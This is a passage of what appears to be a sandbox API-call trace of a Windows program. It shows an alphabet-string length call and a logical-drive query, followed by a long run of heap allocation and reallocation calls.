(lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0153.397] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xd0) returned 0x7ab600 [0153.397] GetLogicalDrives () returned 0x4 [0153.397] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10014) returned 0x7d7758 [0153.397] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d5358 [0153.397] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d5358, Size=0x20) returned 0x7cecf8 [0153.397] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cecf8, Size=0x40) returned 0x7ac8e8 [0153.398] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac8e8, Size=0x80) returned 0x7d4f00 [0153.398] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d4f00, Size=0x100) returned 0x7d6028 [0153.398] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d6028, Size=0x200) returned 0x7d6028 [0153.398] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d6028, Size=0x400) returned 0x7d6028 [0153.398] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d6028, Size=0x800) returned 0x7e7778 [0153.398] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e7778, Size=0x1000) returned 0x7e7778 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x7e8780 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d53a0 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7d5478 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7d3258 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7d5400 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7d33b8 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d52b0 [0153.398] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d33b8, Size=0x8) returned 0x7d3328 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d5418 [0153.398] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d3328, Size=0x10) returned 0x7d53d0 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d5208 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d53b8 [0153.398] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d53d0, Size=0x20) returned 0x7cef78 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d5448 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d33b8 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7d53d0 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7d5430 [0153.398] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cef78, Size=0x40) returned 0x7ac300 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7d51d8 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7d51c0 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7d5280 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7d5460 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d5238 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d5250 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3278 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d5358 [0153.398] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac300, Size=0x80) returned 0x7d4b48 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d51f0 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d5220 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d5298 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d5268 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d54d8 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7d54f0 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d5568 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3368 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d5508 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d5520 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7d5550 [0153.398] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d5538 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7d5580 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7d54c0 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f8908 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8968 [0153.399] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d4b48, Size=0x100) returned 0x7d6028 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8980 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8848 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8938 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7f8860 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8aa0 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f88f0 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3338 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8a70 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f88d8 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8878 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x7d3218 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8998 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f89e0 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3388 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f89b0 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f89f8 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f8920 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8950 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8890 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8a58 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7f89c8 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8a28 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7f8a10 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8a88 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8a40 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f87e8 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f87b8 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3398 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f88a8 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f87d0 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8800 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8818 [0153.399] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d6028, Size=0x200) returned 0x7d6028 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8830 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3288 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f88c0 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8bd8 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8c80 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8bc0 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8d40 [0153.399] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8da0 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8b00 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8c98 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8b18 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f8bf0 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f8ab8 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8b78 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8d88 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f8b90 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f8d58 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8ba8 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f8c08 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f8d70 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8ad0 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8d10 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8cb0 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d32a8 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8b30 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8c20 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8cf8 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d31d8 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8cc8 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f8c68 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8c38 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8ae8 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8c50 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8b48 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8ce0 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8b60 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f8d28 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f8ed8 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8e90 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8dd0 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8e18 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f8e00 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8f50 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8e60 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8e78 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8db8 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8ea8 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8de8 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8ef0 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d31e8 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x7d32f8 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8f08 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8e30 [0153.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8e48 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8f20 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8f38 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f8ec0 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8f68 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9740 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9710 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f96c8 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f9668 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9758 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9680 [0153.401] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d6028, Size=0x400) returned 0x7d6028 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9698 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f95c0 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f9770 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9638 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9728 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f96b0 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f9650 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f95d8 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f96e0 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9620 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d31f8 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f95f0 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f96f8 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9608 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9038 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9020 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f90c8 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7f90e0 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9110 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8fc0 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9140 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9050 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9008 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9290 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9128 [0153.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f91b8 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3328 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f90b0 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9158 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f91e8 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9278 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9200 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9080 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9170 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9068 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f91d0 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7f9098 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f90f8 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7f91a0 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9188 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f92a8 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9230 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9218 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9248 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f9260 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8fd8 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f8ff0 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9440 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9500 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f92d8 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9458 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f92f0 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9470 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f93c8 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9530 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f93b0 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9518 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9548 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9560 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f93e0 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9338 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9380 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7f9308 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12) returned 0x7a5830 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f94e8 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9578 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9488 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f93f8 [0153.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9590 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f95a8 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f94a0 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f92c0 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9320 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f94b8 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9350 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f94d0 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9368 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9398 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9428 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9410 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9e58 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9f30 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9f48 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9e10 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f9f00 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f9f18 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f9e70 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7f9ed0 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f9ea0 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3228 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9f60 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3208 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9ee8 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9eb8 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9f78 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f9dc8 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f9de0 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9e88 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f9df8 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9e28 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9e40 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f9a38 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9930 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f9ab0 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7f9a98 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9870 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d32b8 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9888 [0153.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7f9948 [0153.404] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d6028, Size=0x800) returned 0x7f9fa0 [0153.404] lstrlenW 